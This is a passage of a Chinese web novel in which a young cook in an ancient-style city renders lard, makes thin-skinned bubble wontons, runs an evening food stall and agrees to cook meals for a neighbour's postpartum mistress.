待到吃过了午饭,满未楹摸着鼓起来的肚子,心满意足地瘫在廊下晒太阳。内院中靠近北侧厢房的地方划了一块小菜地,满未楹种了葱在里面,这样后面就不用特意出去买了,起码自己现在这点小生意能兜住。
换洗的衣裙吊在院中晾衣绳上,被微风吹得一鼓一鼓,满未
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楹的衣服大多颜色鲜亮,很适合她这个年纪的小娘子;倒是满珣,自从守寡以来,穿的衣裙颜色都开始朝深色发展,多是墨绿湖蓝,她这几日还拆了不少之前她穿的胭脂和朱樱色衣料改给满未楹穿。
日头好时,前面铺子二楼的窗纸折射着好看的彩色,一晃一晃的照在满未楹眼皮上。
她懒懒地睁开一只眼,抽了抽她瘫着这个角度只能看见的一点点顶部窗沿。想着要攒钱修屋子这件事,满未楹又瞬间精神起来,鲤鱼打挺般跳起来,转去地窖里把猪板油拎了出来。
熬了熬了全熬了!猪油渣留出自己用的,剩下的也都放摊子上卖去!
满未楹想的是雄心壮志的,动作是麻利又小心的。
几大块猪板油全都被她切成了只有两指款的块状,用温水洗过一遍,剪掉多余的赘生物后,和葱姜蒜一起加大量清水先放进锅里煮一遍,去掉初步的腥气,等水沸后便可以捞出,再过滤一遍,重新放进铁锅里。
熬猪油可以直接放进锅里熬,也可以加一碗清水熬。满未楹选后者,因为加了水便不容易糊锅也不容易焦,方便把她从锅边解放去做别的。
泥炉中加了新的煤球,这时人做的煤球太实在了,满满当当一整块,丝毫缝隙不见。满未楹特意戳出几个孔来方便透气,这样不仅能充分燃烧,少点一氧化碳,也能燃烧得更久,至于戳出来的边角料可以在烧木柴时作为佐料。
其实如果自家有空,可以把煤球重新压碎了了,混着黄土重做有孔洞的“蜂窝煤”,但是满未楹实在是分不出那精力来,等日后有空可以再试试。现在便先这样将就着用吧。
满珣在屋外烧温水洗猪肠和鸡蛋,原本她还有些舍不得烧水用的炭火木柴,满未楹让她千万不能省,把手冻伤了那就太不值当了。尤其是满珣之前几乎从不碰家务活,手没做过事更是经不住秋冬的冷水,发作起来只会比旁人更厉害。
而在熬猪油的空挡里,满未楹在揉面,做馄饨皮。
泡泡小馄饨的皮讲究“薄如蝉翼”,要能透过手背看见手上的青筋,并且还不能一戳就破,否则便会散在锅中。这考验的纯粹就是手上功夫和经验,哪怕满未楹前世有着丰富的白案经验,此刻也不敢掉以轻心。
面团发酵过后,切成小块,一块块的擀,控制在满未楹现在的控制范围内,擀成足够大、又足够薄但是还不破的极限,叠起来切成四四方方的小块,每一块只有满未楹大半个手掌那么大,满未楹摊开在手掌心,可以看见自己肉粉色的手掌。
她这才长舒一口气,放下心来。还好还好,她的手艺还在。
做油条的面剂子甚至是擀面条都只是面食的基础能力罢了,别人模仿学习都很容易,有天分的人看一遍就能学会。胖大娘能轻易模仿就是证明。
只有在做这些小巧又精细的吃食上,才能看出厨子的真正功夫和扎实的底蕴,在没有机器化生产的这个时代,这才是满未楹真正的看家本领。别人想学都得花上几年功夫好好练下。
19.包馄饨
肉糜是昨天请宋娘子切好的,满未楹一回家便用一只陶锅盖上盖子存进地窖里,最大限度保鲜,此刻拿出来依旧湿润润的,像是刚剁出来的一般。
挤出葱姜蒜汁,腌进肉糜中。因为做馄饨馅不会事先煮熟,因此事先除腥去味就很重要。但是葱姜蒜汁也不能放太多,否则辛辣味又会盖过肉味,口感就会变差。
而这时,小厨房中已满是熬出的猪油香,金黄剔透的猪油浮了半锅,雪白的板油在锅底咕嘟咕嘟冒着油泡,切得比较小的那些已经变成了酥脆的油渣。
到这时,便可以把绑好的葱段和姜片一起扔进油锅,协助第二次去腥。等所有猪板油都变成了油渣小块,就可以装罐。
猪油渣先行捞出,放到一边沥油。
满未楹这次还买了六个陶罐,店主把每个罐口绑在一起给她提了回来,颇为壮观。
陶罐适合装猪油,保温还不容易变质,而且隔绝阳光,可以凝出雪白好看的膏状。
陶锅底加了一点花椒和盐,捞油的过程中,一些碎成米粒状的猪油渣一并捞进罐中。
满未楹最喜欢挑一勺猪油时,正好挑到一块带着小油渣的,油脂化在汤里,油渣漂浮在汤面上,又吸饱了鲜美的汤,鲜极了。
油渣如果没有外力,容易在罐中沉底,满未楹选择了六个陶罐平分,凝固一层再浇一层,这样可以保证每层都有碎油渣。
等这一切都做完,满未楹把油罐拎到厨房外,借风冷却,而后再回到小厨房里做馄饨馅。
酱油、盐、味精、再打入两颗鸡蛋,和肉糜一起搅拌均匀。还可以加一点猪油进来,帮助锁水,延长保鲜时间。
肉馅要充分搅拌,搅拌到黏糊糊、筷子都无法拨动的时候,就代表充分混合,可以开始包小馄饨了。
满珣在屋外把茶叶蛋和卤猪肠都炖上,又洗了几遍手,才走进小厨房。
包泡泡馄饨其实需要用一点技巧,才能捏出那个关键的“泡泡”。
这种馄饨不能捏太紧太实,不然就和普通肉馄饨没有区别,需要在面皮中间留出这个气泡,帮助吸收汤底,一口咬下,汤会瞬间溢满唇齿,要是正好舀上来那勺汤里面还有一块吸满了汤汁的小油渣。
哎呀哎呀,光是想想满未楹都要咽口水。
肉不能包太多,一根筷子沾上小指甲大小的肉放在小小的馄饨皮上方,然后五指一捏,大拇指一一顶,力气一定要轻。多练几次就会很熟练。
有人曾戏言这点肉就是起一个黏合剂的作用,满未楹觉得说得很对,比起常规的吃馄饨,这种更像是“喝馄饨”。
泡泡馄饨包起来简单,满珣上手很快当。侧门被敲响时,母女俩已经包了好几百个了。
侧门外,上次见过一面的淮家嬷嬷正笑盈盈地站着,见满未楹来开门,她开口道:“小娘子有礼。奴是您家对面淮家的刘嬷嬷——”说着她还转身指了指对面的高墙,“我家大小姐也在对面开了个成衣铺子呢。”
“嬷嬷也有礼了。”除了买了两次早食,满未楹并没有和这位嬷嬷有别的交集,“刘嬷嬷进来说话吧。”
“哎。”刘嬷嬷答应,迈进前院来,对前院的狼藉视若无睹,面色如常。
两人进入内院,满院飘着各类食物的香气,刘嬷嬷深吸一口气:“小娘子真的是好手艺,我也不和小娘子打些官腔说什么虚话了,这次来还是想请小娘子帮忙的。
刘嬷嬷是大小姐淮明月的乳母,跟着淮明月来到云梦城也不过才将将四年,要是满未楹母女没回来,她对这家主人一无所知。
“小娘子刚回来怕是不知道,我家郎君和夫人前两月刚得了位小小姐,要是小娘子们早回来一月,还能赶上满月酒。”嬷嬷提起这件事便是一副高兴的神情,随机又深深叹了一口气,“母女平安,这本是喜事。谁知夫人产后脾胃失调,原先还能勉强喝下几口肉汤,现在竟是食不下咽,半点都吃不下,每每总是强逼着自己才能进一些。”
满未楹静静听着。
“但是,前两日小娘子出来卖早食,我也没了几枚回去,夫人竟吃了两个,油条也吃了两根。”嬷嬷瞅着小厨房,门没关,里面在做什么一览无余,刘嬷嬷自然也看见了摆在案板上的一个个雪白鼓鼓,还拖着折纸样“宽尾巴”的泡泡小馄饨。“而且昨日小娘子做那汤饼和卤肥肠,我买回去给夫人尝了尝,没成想夫人吃了个精光,而且一点都没吐。”
说到这里,满未楹也很清楚刘嬷嬷的来意了。
“今日早晨,家里也学着小娘子做了汤饼,还做了两只水蒸蛋,谁知夫人才吃几口便吐的不行。”刘嬷嬷深深叹了一口气,“这样下去实在不是法子,所以我今天便贸贸然登门,想问小娘子能否这段时间给我家夫人做午食?早食和晚食我便到小娘子摊上买。除了工钱外,一应食材和柴火,都由我家出。小娘子只管每日说要哪些食材,我第二天一早便买好送来。”
刘嬷嬷说得恳切,当即便拿出四贯钱来:“说出来也不怕小娘子恼,毕竟是做给夫人吃的,若是夫人吃不习惯,家里少不得要再去寻摸别的路子,因此想先与小娘子定半个月的。若是夫人吃得好,我们便再续。”
淮家不可谓不大方,光是一顿午食就愿意出这么多钱,原材料还不要满未楹买。
满未楹虽然很开心,但是不动声色,没有在刘嬷嬷面前表现出来,有些话要说在前头:“嬷嬷,这做我自然是能做的,只是不知道夫人有没有什么忌口?”
按理来说,已经两个月的产妇,除非需要自己哺乳,不然酸甜辣咸,只要本人没忌口,就什么都能吃了。
“说来也是奇怪,夫人并无甚忌口。家里庖厨也是淮家用惯了,跟着大小姐一起过来的。原先还好好的,唉......”刘嬷嬷百思不得其解。
“那夫人可要哺乳?”满未楹谨慎地问了最后一件事。
淮明禾在官府中当值,淮明月开着成衣铺子,按理来说淮家是不缺钱的。满未楹纯粹是以防万一而问了这句。
“怎么会让夫人亲自哺乳!”刘嬷嬷讶异,“做出这等事来要是让亲家母知道了,我家铺子都被砸了。”
刘嬷嬷把四贯钱交给满未楹:“小娘子,那我们可就说定了。我先家去了,等晚间出来买吃食的时候,你便告诉我要买哪些食材吧。”
满未楹接过钱,把刘嬷嬷送出门,才兴奋地一蹦一跳回来,把还带着体温的钱塞进满珣腰间
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的钱袋中:“阿娘!我厉不厉害!”
对满未楹来说,淮家必定是认可她的手艺这才找上门的。旁人对自己专业的认可是除了金钱外最大的满足感。
“小满是我们家最厉害的小娘子。”满珣手上还沾着面粉,用手背碰了碰满未楹还带着婴儿肥的脸,又是骄傲又是心疼。
桌案上的馄饨馅已经没了,但是馄饨皮还剩了一摞,这便是包馄饨的永恒难题,皮和馅永远不会刚刚好;就和有人和面一样,水多了加面、面多了加水,形成永恒循环。
满未楹用一层油纸包好,外面裹了一条湿布,最大化杜绝水分的流失,等晚间她便和卤猪肠一起出摊卖,试验一下效果。
一碗馄饨十五铢二十个,加钱便可以再另外多加。
满未楹心里计算了一下,猪肉虽然贵,但是泡泡小馄饨用的肉太少了,所以后世网上才有人称,店家开了十年,猪只受了点皮肉伤。猪板油也便宜,这几大罐油够她用上两三个月的了,猪油渣也能拿出去卖钱。
煤炭在满未楹的改造下,已经比之前耐用多了,这项支出省了不少,归家至今满未楹只买了一次煤炭,尤婶子上次来看见后院剩的那些,还特意叮嘱满未楹不能省,别把自己冻伤了。
只是做菜光靠煤炭是不行的,煤炭烧不到需要的火焰和温度,柴火这一项是怎么都省不下来。
同样省不下来的还有精面。若是买带着麦麸、没有二次加工打磨的面会便宜许多,但是这就要自己上磨研磨、还要过筛。
靠人力拉磨可不是个轻松的活,否则就不会流传下“拉磨的驴”这种形容工作辛苦的俗语了。
满未楹母女俩哪个都不是能吃得起这等苦头的,日后要是自家养了驴,还可以试着从这项上俭省些,只是不知到那时,是心疼驴还是心疼面了,毕竟驴子也很贵呢,而且还犟。
其实这也是满未楹到现在没有想过做各种豆制品的原因,云梦城是农业大城,各类农产品收成好,能养活好几个城池;黄豆产量很高,但是仅凭满家二人是做不出能赚钱的豆制品的,做出来之前就先把人给累垮了。
满未楹想到这里便是长出一口气,还好自己有别的手艺。
满珣看她叹气:“怎么了小满?是不是累着了?你先去午睡休息一会吧,阿娘看着炉子。”
炉子其实也无甚可看的,柴火烧干了,自然就会熄灭。满珣看见小厨房放着的柴火快用光了,便想去后院搬一些过来,方便随时取用。
满家后院的柴火还是尤婶子派了大儿子过来砍的,炭火行的人卖柴是一个价钱,砍柴火又是另外的钱,云梦城哪哪都要花钱,大多数家里有年轻人或者奴仆的都会自己动手。
柴火送到家后,都会摊在后院晒的干脆,越干越好,敲起来都是邦邦声,这样砍起来也容易,噪音也不会太大。有些带着裂缝的木头甚至徒手便能掰开。
柴房里,砍好的木柴、没砍的木头和煤炭堆在三面墙前,纹丝不乱。
满珣拎了一捆树枝和一捆木柴,尤婶子上次来砍了这么多的吗?
她前段时间身子不好,后院又是一片污糟,满未楹也不让她踏足。
满珣站在柴房前想了一会。
20.晚食摊
刘嬷嬷对夫人能吃上饭这件事很是热络,下午又带着炭火行的人来了一次,带来满满两车的煤炭和木柴。这么多自然不能再从角门进了。
得知后院门锁芯断了之后,刘嬷嬷带着锁匠和两个悍仆直接把门锁砸开,满家数月没打开的后门终于吱呀一声完全洞开。
锁匠随即便为后门安装一把新锁,门头敲上新的锁环,一把大铜锁稳稳挂上,安全感十足。
在两车都搬空后,两个粗壮的悍仆甚至动手,把后院倒塌的草棚和淤烂的草料都用个大钉耙铲到车上,一并拖走了。
湿泞的地面散发着腐臭,刘嬷嬷还想找人来打扫一下,被满未楹和满珣急忙阻止了。
满未楹都觉得口袋里揣着的这四贯钱烫手,刘嬷嬷连锁的钱都不肯她们自家付。
“小娘子不必这般客气。锁匠师傅是和官府合作久了的,我家郎君出面,根本用不了几个钱。”刘嬷嬷笼着袖子,笑得和蔼。“而且我们本该请小娘子上门的,只是怕小娘子还不如在自家来的习惯,所以帮小娘子收整一下,也是我们的心意。”
做生意的少不了要和司稽、和官府打交道,有时候居民家里闹起分家加把锁、或是糟了贼报案等等去到官府,只要司稽随手一派,锁匠就能赚上一笔。这种事在云梦城这种大城池里可谓家常便饭,也因此,今日哪怕要锁匠免费上门来装锁,他也十分乐意卖这个人情。
即便不刻意捞油水,也能从这份职务里得到巨大便利,难怪那么多人想去官府里找个一官半职当当。
刘嬷嬷跟着悍仆一起出了门,看着锁匠把所有钥匙都放到满未楹手里,这才客客气气告别。
满未楹则从前院水井拎水来,先把湿泞的地方冲过几遍,水裹挟着脏污涌进下水道里,在下水道口打着旋。而后用皂角煮水,把拖把浸在里面打湿后,把整个后院都打扫了一遍,草棚那里重点关注了下,恨不得把整块地都用泡了皂角水的布包起来去味。
拖把也是从杂货店里买的,吸水性好的布条一条条嵌在横装木头里,再加上一根长柄棍,除了挤水需要用力外,整体使用起来算是很便利,至少比用布擦地来的轻松。
后院马房一开始建的便不大,也因此分租给几家时,驴马挤在一起,草料没地方堆只能另外建了一个草棚。草棚明显是不愿意花钱的产物,也许是几家都不想自己当冤大头,草草搭建,也轻易崩塌。
后院墙下还有两间倒座,相比内院屋子被砸成那样,两间倒座的床倒是好好的。这两间倒座原本就是供仆从小厮方便照看后门和马匹住的,也因此床是用砖块垒成,轻易砸不了。除此之外也无甚家具装饰。
满家这座宅子一开始就是为家族群居而建的,各项功能齐全。只是如今只剩下满珣和满未楹二人了。
满未楹听满珣说过,当年成亲时,杜大弟弟还小,杜家不肯放杜大这个劳动力入赘;杜家也不比满家富裕,姥姥姥爷年轻、身子骨也康健,便约定好,等杜二成婚后,满珣便带着杜大和孩子归家,也因此满未楹一出生便跟着满珣姓。
谁知道才成婚不过几年,云梦城起了一场疫病,夺走了二老的生命。这时候哪怕一场感冒也足够致命,更何况是疫病。
满家门庭便这样凋落了。
满未楹倚在后门门框上,吃了一口满珣剥好的橘子,抬头看天边灿烂的晚霞,云朵被烧成卷曲形状,心中也是无限感慨。
世事脆弱无常,但总归得自己强硬起来,过好现在的每一天。
差不多到时间,该出摊了!
*
满未楹和满珣二人来回搬了几次,才把东西搬全了。
今日的晚间摊子,还是卖卤猪肠,卤猪肠炖了一下午,此刻软烂入味;以及泡泡小馄饨。
原本还想继续炸油条卖,但是这样铁锅便别的什么都做不了了,满未楹决定以后只有早间才卖油条。
她准备用铁锅煎鸡蛋,当做小馄饨的配菜。一碗小馄饨十五铢,一枚煎鸡蛋五铢,因为没用上茶叶蛋那些香料,自然不好卖和茶叶蛋一样的价钱,但是如果是小馄饨加煎鸡蛋,那便只要十九铢。
今日满未楹特意留了二十个鸡蛋,就等着晚上试验看下卖的效果。
摊子上备了醋和酱油,顾客可以根据自己口味添加。其实她本该连辣椒油也一起准备,满未楹有一个炒辣椒的秘方,鲜香麻辣,前世很多人甚至专门到店里来买一罐辣椒油。
但是云梦城虽然前不久从漕运引来了辣椒,但是还未得种植之法,没有铺开大面积种植,因此价格高昂,竟要两贯钱一两。
满未楹立刻打消了这个念头,她现在还是靠贵人馈赠之物做小生意,无香料的成本这才赚到了钱,哪里能消费这么昂贵的辣椒?
更何况,调味料这种东西,自然不可能要顾客另外付钱买,这口一开,怕是她的摊子都要被掀了。
满未楹和满珣的晚食照样在摊子上解决。
今日她用了新买的陶锅来煮馄饨,买的时候就选了油光水滑的黑陶,在火光映衬下更显锃亮。内里高汤加了清水依旧乳白,做出来的汤底更鲜更浓稠,随着水温的升高,最上面浮着的无法融化的油脂被推到陶锅壁上。
满未楹把小馄饨一个个放进水中,随着汤面蒸腾起的雾气,一个个泡泡如同充了气一般鼓起来,像是一艘艘小船一样在汤面漂浮着。
一点青葱、一小勺带着油渣的猪油、一点味精提鲜,浇上汤汁,随着猪油的化开,香气也缓缓溢出,要是有条件还可以加紫菜和虾皮,味道会更加鲜,但那样可就太贵了。
满未楹用一只竹篾笊篱捞出小馄饨,汤汁还没沥干净便放入碗中,小馄饨不能“脱水”太久,不然会变得干巴。即便是一道简单的早食生意,这里面需要注意的细节也很多。
陶碗里,泡泡小馄饨那晶莹剔透的面皮鼓鼓囊囊翻着朝上,把碗塞的满满当当,一个挨着一个,缝隙里塞满了细细的油渣和翠绿的葱,看起来份量很足,架势很能唬人。
满未楹又再煎了两个鸡蛋,捞了一碗猪肠,便是二人的晚食了。
满珣先是喝了一口汤,第一感觉便是鲜,恨不得不吃小馄饨,都想把汤喝干净的鲜美。她又舀起一只小馄饨,放在瓷勺中端详,这么精细的吃食,也就只有满未楹想得出来了。
“阿娘小心烫哦,这里面吸了滚烫的汤汁。”满未楹提醒道,就和灌汤小笼包一样,很多第一次接触的人总得被烫那么一下。
满珣点头,不敢小视,吹了好几口才送进嘴里。
小馄饨里的肉虽然少,但是一口咬下竟十分紧实弹牙,就像是嚼脆骨一般能听见咬下去的摩擦声;泡泡爆开,里面的汤汁混合着肉一起在口腔中翻滚,只要嚼两口便能咽下,难怪要说“喝馄饨”呢。
煎蛋上浇了一点酱油,略微有些咸。这里的酱油也是主要调味品,一般人家多放了酱油便不会再放盐,因此酱油内盐分含量很高。
因为调料的稀缺和不流通,云梦城中都不存在大型的调味品作坊,除了糖盐等官方管控物资,酱油和醋之类都是杂货店们自行腌制的,比起后世丰富的酱油口味,这里还是略显贫瘠了。
满未楹思忖着,不知道能不能请崔灵运单独为自己做一批“薄盐生抽”?
不过单要是为了个煎蛋也有点过于小题大做了,士大夫阶层才讲究食不厌精脍不厌细,对平民来说还是略有点奢侈了。
满未楹暂时按下这个念头,专心对付起晚餐来。
母女二人很快连小馄饨带汤都喝得一干二净,为了吃卤猪肠,还专门又调了一碗汤来配。
钱金玉一闻到门外的香味,就知道隔壁小娘子出来摆摊了。
她偷偷看了一眼堂后通往内院的门,嬷嬷正坐在小杌子上做针线活。嬷嬷因为连着两日她都吃小满娘子做的餐食,恨不得当成正餐来吃,已经拉拉脸了,说着什么“老了,不中用了,自家小姐都看不上了”之类的话。
陆浮今日也出来帮着盘账,陆浮虽然读书稀烂,文章写不出来,经世理论也说不出个所以然,但是算账是一把好手,而且特别会体贴别人心情。钱金玉当初就是看中了他的好皮相和这点子本领。
果然,察觉到钱金玉的小心思后,陆浮咳了两声:“娘子,隔壁出摊了,好香啊。”
钱金玉故意大声:“家里做得好好的不吃,还要出去吃,看把你惯的!”
“求你了娘子。”陆浮做小伏低乃是手拿把掐的,“舍我几个钱吧,我只吃一点点,必不耽误晚食。”
嬷嬷从门后遥遥发出一声冷哼,忍不住笑了。
钱金玉和陆浮对视一眼,便知道成了。钱金玉把账本锁进柜中,吩咐小厮看好,便和陆浮整了整衣服,一道出了门。
“小满娘子!”钱金玉很是热情,“小满娘子今日又做什么好吃的了!快快给我和内郎也来上一碗!”
她一眼便瞅见了有些瘪瘪的小馄饨:“这是何物?角子吗?”
云梦城乃是内陆城市,比起皮薄肉厚的大馄饨,这里更多吃的是皮厚面多、也更为饱腹的角子,便是后世的“饺子”。
但是小满娘子这瞅着也不像角子呀,皮薄得都能看见里面的肉透出的粉光,这么薄的皮是怎么擀出来的?这小娘子怎么在吃食上有这么多巧思呢?
“这名为泡泡
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小馄饨。”满未楹也懒得再想一个名字了,她的天分不在这上面,“是卫国那边的一种吃法,我稍微改进了一下。钱娘子和陆郎君可要来一碗尝尝?”
“吃!”钱金玉出来就是为了吃的,人都到摊子上了,就算要钱金玉喂中药,她也得尝尝咸淡再走。“那卤猪肠也给我来一份,小娘子还做什么了?我怎么闻到了别的香气?”
在吃上,钱金玉不可谓不“嗅觉灵敏”。
满未楹一愣,“今日还准备了猪油渣和煎蛋,钱娘子可都要试试?”
猪油渣一斤四十铢。定价不算昂贵,一斤份量也是足足的。当然若只是想当个零嘴,半斤半斤买就成。猪板油熬出来的猪油渣也并不多。
“来!”钱金玉豪气地一摆手,从钱袋中输出钱来交给满珣。
满未楹今日还准备了热水和草木灰,如果吃得人多,就要在摊子上就地洗碗。为了下雨排水,铺子前都修了专门的下水道,平时用一块带缝的石板挡住,定期还会有人过来清理。这的确是富庶的城池才能有的基础建设,也省了满未楹不少事。
当下她也不多言,动作麻利地把钱金玉要的卤猪肠先捞出来给她,又称了半斤猪油渣给她,细心嘱咐道:“钱娘子,这闲时可以当个零嘴吃,但是一次不要吃太多,油大容易坏胃口。”
她本想说,可以让钱金玉带回去让嬷嬷炒白菘或者瓠瓜,就不用再放油了。但是想想她家也没有铁锅,还是作罢。
钱金玉点点头,两指夹起一块油渣便咬下。
油渣自然是刚炸出来的油脂最饱满、香味更清晰明朗;但是冷却过后也自有一番风味,有人是喜欢吃冷油的,若是撒上一把椒盐,油渣便更加好吃了。不过这就纯粹是想想了,虽然满未楹有胡椒,但是她舍不得拿来做这么奢侈的事。但是躲起来和满珣两人吃吃,那还是不错的。
陆浮和钱金玉一连吃了好几块,感到油都要从胃里泛起来这才急忙停下。
满未楹的小馄饨和煎蛋也端了上来。
小馄饨乳白发亮,煎蛋金黄,微微发焦。
钱金玉和陆浮低头猛吃,也顾不上说话了。
等钱金玉吃完大半,舒适地长叹一口气,目光落到了熄火的铁锅上。
就算是钱金玉再迟钝,也知道满未楹能做这么多新鲜吃食,那口漆黑的锅发挥了巨大作用。这是的大多数人对铁器的印象,都是官方等人腰间的佩刀,银灰锃亮,能照出人影来,据说比青铜刀更轻,作战更便捷。
但是钱金玉多少还是比普通人更有见识,她招招手,示意满未楹靠近,有些好奇地询问:“小娘子,你那口锅该不会是铁制的吧?”她声音很小,似乎不想叫旁人听见。
满未楹注意到了她的用词,但是没作声。
“小满娘子,若是铁制,这可是官府的管制用物,每一样铁制品都有刻字,而且有官府盖章文书,缺一样都不可。否则来历不明,被人送上官府可就大事不妙了。”钱金玉小声提醒着,“只是这东西寻常人也没见过,也不知道原料长什么样。小娘子若是自己也不知道,有人问起便说是卫国的陶制吧,你一路带回家来的。我们的那位司稽轻易不会为难小民,多数时候睁眼闭眼就当看不见了。小娘子你可千万要记好了,什么都别说。”
满未楹虽然早就知道铁制品的宝贵,但是怎么也没想到居然还是官府限量款!甚至还有自己的“身份证明”。她本以为是普通人消费不起,没想到原来是不给消费。
她只反应了几秒,便迅速笑着回应:“钱娘子说笑了,我也不知道这究竟是何种制品,这也确实是我归家路上带回来的。只是觉得它好用,便一直用下去了。”
钱金玉点点头,小娘子很上道!
“这小馄饨实在是精巧,小娘子取的名字也巧,泡泡小馄饨,可不就像鱼泡泡一样么,鼓鼓囊囊。”陆浮恍若没有听见她俩都说了什么,大力夸赞着,他那一碗已经见了底,“小娘子再给我下一碗吧。”
离了嬷嬷,陆浮胆子就大起来了。
“嬷嬷可还要整治晚食的,你到时吃不下被骂了,我可不救你。”钱金玉嘴上说着,掏钱的动作毫不含糊。
“娘子安心,这馄饨......”他本想说份量不大,不经吃,但想到这还在别人摊子上,便换了个说法。“如此小巧,我再吃几十个不是问题。”
成年男子的饭量还是很可观的人。
钱金玉笑着应了。
“小满娘子,今日出摊这么早呀?”
满未楹抬头一看,竟是宋娘子牵着一儿一女出来逛街了,她身后的小厮拎着大包小包,全是宋娘子要让孩子带回云梦城的。
21.伯奇至
宋娘子让两个孩子对满未楹和满珣打招呼,两个玉雪可爱的孩子彬彬有礼地叉手鞠躬,看得宋娘子一阵自豪。
其实陆浮也在云梦山就学过,不爱读书好逃课,下山溜达遇到了来这里看铺面的钱金玉,这才被她看上。
他学艺不精又志不在此,同窗们争当鬼谷亲传弟子、出入王庭、搅动诸国风云的雄心壮志激不起他的丝毫波澜,他只想当个升斗小民,平平稳稳过一生。
家里人倒是对他寄予厚望,当他决定入赘消息传来时,老父直接与他断绝关系,再也不肯往来。
陆浮丝毫不在意,他们这些人就是目光短浅,他们以为软饭是很容易吃上的吗?想入赘也是有门槛的好吧?先看看自己外形配不配。
他咕嘟咕嘟喝着汤,一面看了看那两个孩子:“等姐儿长大了,我们也把她送去云梦山读书去,离得又近,我天天接她上下学都成。”
云梦山只对内门生要求严格,对外门生,尤其是这些孩童,若是家里人愿意来回奔波,自然是愿意让他们归家和家人相处的。
“看你惯的。”钱金玉白他一眼,“话还说不利索呢就想到去云梦山读书的事了,哪里是你想进就进的。”
“我姑娘自然是哪里都能去。”陆浮虽是入赘,父亲不慈且势利,但是母亲心疼,给的嫁妆也不少,他可谓底气十足。“大不了捐钱塞进去。”
钱金玉懒得理他,想捐钱进去也得轮得到她们捐,城里这么多富户贵族呢。
“这是猪肠吗?”
陶锅中的猪肠酱红发亮,卤汤散发着浓厚的香气,宋娘子家肉铺离得不远,自然是听说过满未楹如何把平常打牙祭的东西卖出五十铢一碗,邻人吹得神乎其神都多好吃,那卤鸡子儿她也吃过,但宋娘子心里其实还是有点不相信,今天既然来了,那便尝尝。
宋娘子十分舍得给孩子花钱,尤其是这唯一的女儿,小小娘子头上插着几枚精致翠玉珠花,胸口也挂着金打的长命锁。当下宋娘子丝毫都不心疼圜钱,要了两碗猪肠、四只煎蛋、四碗馄饨,又好奇那猪油渣,也买了一斤,而后便和孩子、小厮一起坐下。
平常人家的小厮其实就是帮工,多是城外贫农养不起这么多孩子,送进城来找份包吃包住的工作养活自己,因而并没有大户人家的主仆之分。但即便是大户人家,多半也是主仆不同桌,不可能饿着仆从,那感情好的,甚至相处如亲人,吃穿同行。
卤猪肠先端上,大人小孩都伸出筷子来夹,小孩子不比大人,吃饭容易溅出汤汤水水,很快面前的桌面上便滴了点点汤汁。
满未楹暗暗看着,心中记下还得再去买几只小碗,专门给这些小顾客用。大人吃大碗不怕被烫到,小孩们则需要小碗来放凉。
她太久没有亲自做小食摊生意了,难免还是有考虑不周全的地方。
等下还要吃小馄饨,当即她便让满珣回去再拿几只平时吃饭用的碗来摆到两个孩子面前。
两个小人儿都不用宋娘子说,便对满珣道谢。满珣轻轻摸了摸两个人的头,又摸了摸自己才一点点大的肚子。
四个月其实根本不会显怀,而且满珣本就纤弱,上次也只有稳婆看出来了,稳婆毕竟经手的产妇太多。
宋娘子和两个孩子都吃得眼睛一亮,虽然家里就是卖各类肉的,常年和大户贵族的采买打交道,听说过的贵族饮食也多。但是宋娘子还真没听说过这等做法。
只要做饭的人就会想尽办法去腥,杀畜放血都是常规操作,葱姜蒜更是不必多说,酱油也是猛放,就是为了遮盖住气味。
小满娘子这锅卤猪肠虽然也放了酱油,但是还有宋娘子完全尝不出来的调料味,这倒是奇了,这小娘子从哪儿得的调料?难不成也是从卫国带回来的?可是卫国和晋国相距也不远,没道理没流通到云梦城来。民以食为天,凡是有关吃的,一定会一传十十传百地遍布诸国。
宋娘子这也是职业病犯了,从她家能找出骟猪的方法就能看出细心爱钻研的性子。
两个小孩可没她心里想的这么多,已经快为了最后一块猪肠打起来了。那小厮也是个半大孩子,帮不了什么事,原本就是宋娘子好心收留的,但是自然不敢和主家争什么,此刻也只是睁着圆溜溜的大眼睛默不作声。
三人嘴上都吃的油光水滑,胸口衣襟上也沾了不少酱汁。
宋娘子回过神来,拉开两个祖宗,扬声道:“小满娘子,再给我来一碗这卤猪肠吧。”
吃吧吃吧,等明日回云梦山,可就要吃庖厨的大锅饭了。
云梦山庖厨手艺平心而论还是不错的,只是大锅饭重在做熟和管饱,而不是精细口味。
天色渐晚,满未楹这小摊上也陆续来了不少食客。
口碑打出去就是如此,只要有一样做得好,顾客不仅会自发帮着宣传、带着亲友一同前来,而且在推出新品时,也会相信店家、抱着试一试的态度。
但是这也意味着满未楹不能搞砸了,口碑一砸,顾客下次再来也会留下疑窦。
做生意不容易啊。
和满未楹预料的一样,比起有些昂贵的猪肠,顾客天然会更青睐看来便耐吃的泡泡小馄饨。卤猪肠少有单人吃的,大多都是两三人吃一碗,又或者是带回家去。
但是没关系,积少成多,薄利多销才是小食肆的精髓。
满未楹没忘了朝街角张望两下,淮家成衣铺子门口已经亮起了灯,只是不见刘嬷嬷人影。
就在满未楹思索要不要送上门时,刘嬷嬷才不急不慢地拎着个食盒,身后还跟着女仆,二人跨过繁忙的东城门大道,朝满未楹小摊走来。
“小满娘子,满大娘子,晚好。”刘嬷嬷很是客气,“今日本想等郎君下值归家一起吃,谁知郎君临时和人换值了,才遣小厮回家来说,故而出来的晚了。”
满未楹哪有挑剔顾客的理,只是怕卖得快,得赶紧先预留出来。
刘嬷嬷早就让人出来先看了满未楹家今天做的什么,因此她带的是自家用的大汤碗,一碗盛汤,一碗专门用来装小馄饨。
泡泡小馄饨一般不能外带,面皮会被泡涨开,全泡发掉之后便是一团面粉感。还好淮家离得近,脚一跨就到了。
只是这样,也避免不了泡泡不能撑开的情况,刘嬷嬷都觉得有些可惜,不住说等夫人身体好了,一定要让夫人亲自出来吃一次。
“刘嬷嬷,明日中午给夫人做一道清蒸鱼可好?不拘什么鱼,鲈鱼、鳊鱼都可以的。主食便配一道玉米饭。”满未楹一边忙着手上的活,一边对刘嬷嬷说。
乍一听菜色并没什么特别的,但是满未楹下午就想好了该怎么做。
孕妇口味大变大多也是激素影响,加上饮食做法单一,不是醓醢便是肉脯炙肉,现在那位素未谋面的夫人更需要的是开胃和吃粗粮纤维,而不是一味的继续吃这些肉酱腌菜。
虽然在激素消退后,这样的症状也会逐渐减轻,甚至还会被不懂得体贴的夫婿、婆家人责怪娇气难养活,但是身子不适就是该精心养护的,一直处在不适中也会消磨人的意志。
刘嬷嬷没想到是这么简单的菜色,她还以为会像是这卤猪肠一样新颖别致,但是她到底年岁大经事多,此刻只是有一瞬间的愣神,便付过钱礼貌道别了。
